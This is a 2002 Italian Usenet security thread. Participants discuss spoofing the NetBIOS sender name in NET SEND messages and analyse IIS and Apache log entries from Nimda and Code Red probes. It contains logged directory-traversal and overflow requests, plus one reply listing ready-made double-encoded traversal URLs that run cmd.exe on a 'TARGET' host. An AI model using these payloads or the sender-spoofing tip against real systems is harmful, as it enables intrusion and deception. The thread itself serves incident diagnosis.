Newsgroup: it.comp.sicurezza.windows
Titolo: NetBios & "NET.EXE" da Windows NT

Ciao.
E' possibile falsificare il nome netbios che viene utilizzato dal programma
net.exe ?
Ossia, utilizzando il comando NET SEND NOMEMACCHINA "stringa", l'utente
destinatario del messaggio avra' una finestra di dialogo con il nome
macchina (NetBios) dell'utente mittente.
E' possibile falsificare tale noma macchina ?
(Senza variarlo sul DNS pero', ne' cambiando il nome dell'host dalla scheda
"Identificazione" dell'applet "Rete")
Che ne so', esiste qualche chiave del registry interrogata dal net.exe, e
quindi manipolabile in qualch modo ?
Grazie.
--------------------------------
Inviato via 
http://usenet.libero.it

Ciao a tutti
Avrei bisogno di una mano.....
Nella societa' in cui lavoro abbiamo un pc su cui e' installato NT che fa'
da web server con IIS4.
Su questo pc c'e' installato anche SQL SERVER 7.
Il pc e' visibile su internet.
Il problema e' che  oggi per puro caso ho guardato i log di IIS e ho trovato
scritte come queste:
GET, /scripts/..%5c%5c../winnt/system32/cmd.exe, /c+dir,
Ora vi chiedo.......come faccio a capire se le istruzioni sono andate a buon
fine?
Come faccio a riprodurle?......ho provato sul browser.....ma non
funzionano....probabilmente sbaglio qualche cosa.
Sapreste aiutarmi?
Ciao e grazie a tutti!
Alex




Trattasi di richieste provenienti da internet, e per la precisione di server
IIS tipo il tuo che cercano di vedere se riescono ad infettare il tuo pc
con degli worm chiamati NIMDA e CODE RED .
Ti conviene staccare *subito* quella macchina da internet, poi usare
un pc per scaricarti alcuni programmi per effettuare la scansione
e vedere se il server e' infetto.
Cerca su google NIMDA Scanner e CODE RED Scanner ,
e da un'occhiata su 
www.eeye.com
Danny

 Avrei bisogno di una mano.....
Uff... ti ho risposto sotto, mannaggia a me (e anche a te che hai
sbagliato a postare) :-)
Danny

Si...scusa.....ho letto la tua risposta....e stavo provando...ma non sembra
essere infetto il pc
Ma come faccio a ripetere quei comandi ?

 
Il comando HTTP GET è quello che viene normalmente utilizzato da un 
browser per caricare una pagina (fanno eccezione i FORM con submit in 
POST) e le url richieste (quelle che vedi nel log senza GET e con 
l'hostname del server come prefisso) possono essere richieste anche 
dal browser. Tieni presente che i caratteri preceduti da un % sono 
"codificati" per poterli trasmettere nei comandi HTTP (ex: %20
=spazio) e può darsi che il browser (o il proxy) facciano qualche 
altra conversione o rifiutino l'URL come non valida.
-- 
Valter Minute
vmi...@inwind.it
 (the reply address of this message is invalid)

 sfruttare una nota (e da tempo "tappata") vulnerabilitą di IIS.
Caspita allora anche a me non era un povero cristiano che ha cercato di
attaccare... e dire che lo volevo segnalare all'abuse. Grazie per avermi
illuminato.

net.exe ?
Si', ma ti serve poco.
Esiste un apposito net taroccato, che ti consente di mandare dei falsi
messaggi alla collega del piano di sotto.
Appena qualcuno si insospettisce, pero', installa un altro programmino
anche quello reperibile via google, che oltre a darti il nome NetBIOS,
ti da' anche l'IP.
E a quel punto, una query rapidizzima informa infallibilmente del nome
reale della macchina incriminata.
Leonardo
-- 
Questo messaggio è NAGWARE. Per disattivare ironia trita, giochi
di parole, volgarita' gratuite ed inviti a rileggersi i messaggi
gia' passati e/o consultare 
http://groups.google.com
, effettuare
un versamento di 25 euro come tariffa di registrazione helpdesk.

 un versamento di 25 euro come tariffa di registrazione helpdesk.
--------------------------------
Inviato via 
http://usenet.libero.it

 Conosci qualcosa di OpenSource relativamente a questa applicazione ?
http://www.rfc-editor.org/cgi-bin/rfcsearch.pl
-- 
HappyCactus - Linux User #209744 - LFS User #6046 - >>> SMSPM1050 <<<
              YAGF Member Group >>> 
www.google.com
 <<<
Ci sono 10 categorie di persone al mondo: quelle che capiscono
il sistema binario e quelle che non lo capiscono.

 cercato di attaccare... e dire che lo volevo segnalare all'abuse.
Tieni presente il _probabilmente_.
Codered, nimda e i loro parenti hanno in genere un numero limitato (di 
solutito una per ogni vulnerabilità che sfruttano) di richieste 
utilizzate per "bucare" il server e piazzarci il worm e le eventuali 
backdoor e quindi è abbastanza semplice riconoscerli all'interno di un 
log.
Per maggiori informazioni, vaffangoogle :)


Dicevo che ho guardato i log per puro caso perche' non e' compito mio.....
Cmq grazie di tutto!
Ciao
Alex


 >
--->  anche quello reperibile via google <---
Perdioniso!  e leggili bene, i post del Serni :-)

 
Sorry, ti avevo scambiato per uno dei (purtroppo) tanti 
"amministratori" fai da te :)
P.S. evita di riportare tutto il testo del messaggio a cui rispondi e, 
se devi riportare dei passi del messaggio originale, mettili _prima_ 
delle tue osservazioni/risposte.
Per maggiori info: 
http://www.uwasa.fi/~ts/http/quote.html


 Qualcuno (probabilmente un worm tipo CODERED o NIMDA) stą provando a 
Se era un worm era nimda, non code red (che sfrutta un buco diverso).
In particolare, in questo caso, non sembrerebbe neanche nimda, ma ho
perso il conto delle varianti. Oppure la riga di log e' riportata in 
modo errato.
Fabio Panigatti


Te ne riporto altre........cosi' hai piu' possibilita' di verificare.
213.66.14.220, -, 10/31/02, 7:18:56, W3SVC9, PRI2PRI, 192.168.10.5, 0, 70,
604, 404, 3, GET, /MSADC/root.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:56, W3SVC9, PRI2PRI, 192.168.10.5, 0, 80,
604, 404, 3, GET, /c/winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:56, W3SVC9, PRI2PRI, 192.168.10.5, 0, 80,
604, 404, 3, GET, /d/winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:57, W3SVC9, PRI2PRI, 192.168.10.5, 0, 96,
604, 404, 3, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:57, W3SVC9, PRI2PRI, 192.168.10.5, 0, 117,
604, 404, 3, GET, /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe,
/c+dir,
213.66.14.220, -, 10/31/02, 7:18:57, W3SVC9, PRI2PRI, 192.168.10.5, 0, 117,
604, 404, 3, GET, /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe,
/c+dir,
213.66.14.220, -, 10/31/02, 7:18:57, W3SVC9, PRI2PRI, 192.168.10.5, 0, 145,
604, 404, 3, GET,
/msadc/..%5c../..%5c../..%5c/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe,
/c+dir,
213.66.14.220, -, 10/31/02, 7:18:57, W3SVC9, PRI2PRI, 192.168.10.5, 0, 97,
604, 404, 3, GET, /scripts/..ﾁ ../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:59, W3SVC9, PRI2PRI, 192.168.10.5, 16, 97,
604, 404, 3, GET, /scripts/winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:59, W3SVC9, PRI2PRI, 192.168.10.5, 0, 97,
604, 404, 3, GET, /scripts/../../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:59, W3SVC9, PRI2PRI, 192.168.10.5, 0, 97,
604, 404, 3, GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:59, W3SVC9, PRI2PRI, 192.168.10.5, 0, 98,
604, 404, 3, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:18:59, W3SVC9, PRI2PRI, 192.168.10.5, 0, 96,
604, 404, 3, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:19:00, W3SVC9, PRI2PRI, 192.168.10.5, 0, 100,
604, 404, 3, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+dir,
213.66.14.220, -, 10/31/02, 7:19:00, W3SVC9, PRI2PRI, 192.168.10.5, 0, 96,
604, 404, 3, GET, /scripts/..%2f../winnt/system32/cmd.exe, /c+dir,
Ciao e Grazie
Alex

sviluppatore)
Posso prorompere in una omerica risata? Se ti leggessi *UNA* pagina (per
essere esatti la *PRIMA*... in basso) della documentazione della sezione
di sviluppo Windows con cui stai andando a ciappinare, scopriresti:
  a) La "sicurezza" della funzione e' discutibile
  b) Fare quello che vuoi fare e' la lamerata piu' facile del mondo
aggiungo poi
  c) Due secondi con Google e lo scoprivi lo stesso da solo :-)
Leonardo AegMrsfateOusfrrFead(feianzr, zftanzr, FRAQREANZR, ...);
-- 
In nessun caso Microsoft, o i suoi fornitori, saranno responsabili per
[...] omissione di rispetto di obblighi, incluso quello di comportarsi
in buona fede o ragionevole diligenza
                                     -- Contratto di Licenza Microsoft

GET, /scripts/..%5c%5c../winnt/system32/cmd.exe, /c+dir,
Son bug abbastanza vecchi ma se il sistema non è aggiornato, è sempre
vulnerabile...
prova con questi:
----------------
www.TARGET.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c
:\
www.TARGET.com/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c
:\
www.TARGET.com/cgi-bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c
:\
www.TARGET.com/samples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c
:\
www.TARGET.com/iisadmpwd/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c
:\
www.TARGET.com/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.e
xe?/c+dir+c:\ 
www.TARGET.com/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.e
xe?/c+dir+c:\ 
www.TARGET.com/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.e
xe?/c+dir+c:\ 
se non funzionano sei a posto
----------------
per maggiorni info:
http://www.astalavista.com/library/os/iis/
ciao
---------------
    beep beep Roby
PS: togliere Le XXX per rispondere via mail.
PS: delete XXX to mail reply

 Te ne riporto altre........cosi' hai piu' possibilita' di verificare.
[CUT]
Anche io ho il tuo stesso problema e riporto degli esempi tratti dai miei
LOG. io non sono un sysadmin ma per fare prove in LAN mi sono attivato un
web server sulla mia macchina. vi chiedo che programmi generano queste
richieste perche' ogni giorno avro' minimo un 30/40 IP che provano queste
due combinazioni di attacchi. Io non uso IIS, ma Apache 1.3.27
grazie a tutti coloro che risponderanno.
Mattia
207.250.79.134 - - [08/Nov/2002:12:36:39 +0100] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 400 355
80.116.30.241 - - [08/Nov/2002:09:30:57 +0100] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 313
80.116.30.241 - - [08/Nov/2002:09:30:59 +0100] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 311
80.116.30.241 - - [08/Nov/2002:09:31:02 +0100] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
80.116.30.241 - - [08/Nov/2002:09:31:04 +0100] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
80.116.30.241 - - [08/Nov/2002:09:31:06 +0100] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
80.116.30.241 - - [08/Nov/2002:09:31:09 +0100] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 352
80.116.30.241 - - [08/Nov/2002:09:31:12 +0100] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 352
80.116.30.241 - - [08/Nov/2002:09:31:14 +0100] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 368
80.116.30.241 - - [08/Nov/2002:09:31:17 +0100] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.116.30.241 - - [08/Nov/2002:09:31:20 +0100] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.116.30.241 - - [08/Nov/2002:09:31:22 +0100] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.116.30.241 - - [08/Nov/2002:09:31:25 +0100] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334
80.116.30.241 - - [08/Nov/2002:09:31:27 +0100] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 318
80.116.30.241 - - [08/Nov/2002:09:31:30 +0100] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 318
80.116.30.241 - - [08/Nov/2002:09:31:33 +0100] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335
80.116.30.241 - - [08/Nov/2002:09:31:35 +0100] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335

 [snip]
Questa roba, ancora una volta, sembra una qualche variante di nimda,
diversa da quella sopra.
E' da notare il "sembra": a quanto pare non sembra che esistano tool
di scansione di vulnerabilita' che imitano nimda ma non e' difficile
scriversene uno e fare scanning sotto le sembianze del worm.
Fabio

 GET, /scripts/..%5c%5c../winnt/system32/cmd.exe, /c+dir,
 Penso che la maggior parte dei web server in giro per la rete abbiano i log
pieni di queste righe, almeno per il mio (apache) č cosě, se il web server č
stato aggiornato in tempo con tutte le patch necessarie per nimda e
compagnia bella non dovresti avere problemi.

 Il pc e' visibile su internet.
Allora avete *veramente* bisogno una mano ;-)

Avrei bisogno di una mano...
L'eufemismo del secolo :-(
COME e' visibile su Internet? C'e' un router? Accetta policies MOLTO
restrittive?
Perche' non upgradate a Windows 2K con IIS superaggiornato?
Leonardo
-- 
Questo messaggio e' NAGWARE. Per disattivare frecciatine, giochi


 Allora avete *veramente* bisogno una mano ;-)
Piu' che di una mano di un miracolo...
Io gia' temo l'IIS che sto tirando su da noi ed e' una win2k
super-aggiornata, firewallata e appena riesco a capire perche' i siti
che vogliono mettere tengono le corna ci faccio rigirare anche il
lockdown tool (urlscan no perche' gli smettono di funzionare le asp,
mannaggia a loro -_-)
-- 
   => Don't Let Your Fears Stand in The Way of Your Dreams !!! <=
   URL: 
http://www.delymyth.net/
 ~ E-Mail: 
DEly...@despammed.com
            => ICQ#: 8761263 - MSN: 
dely...@msn.com
 <=
          => FREE! Hardware Anti-Virus!!! - /dev/brain <=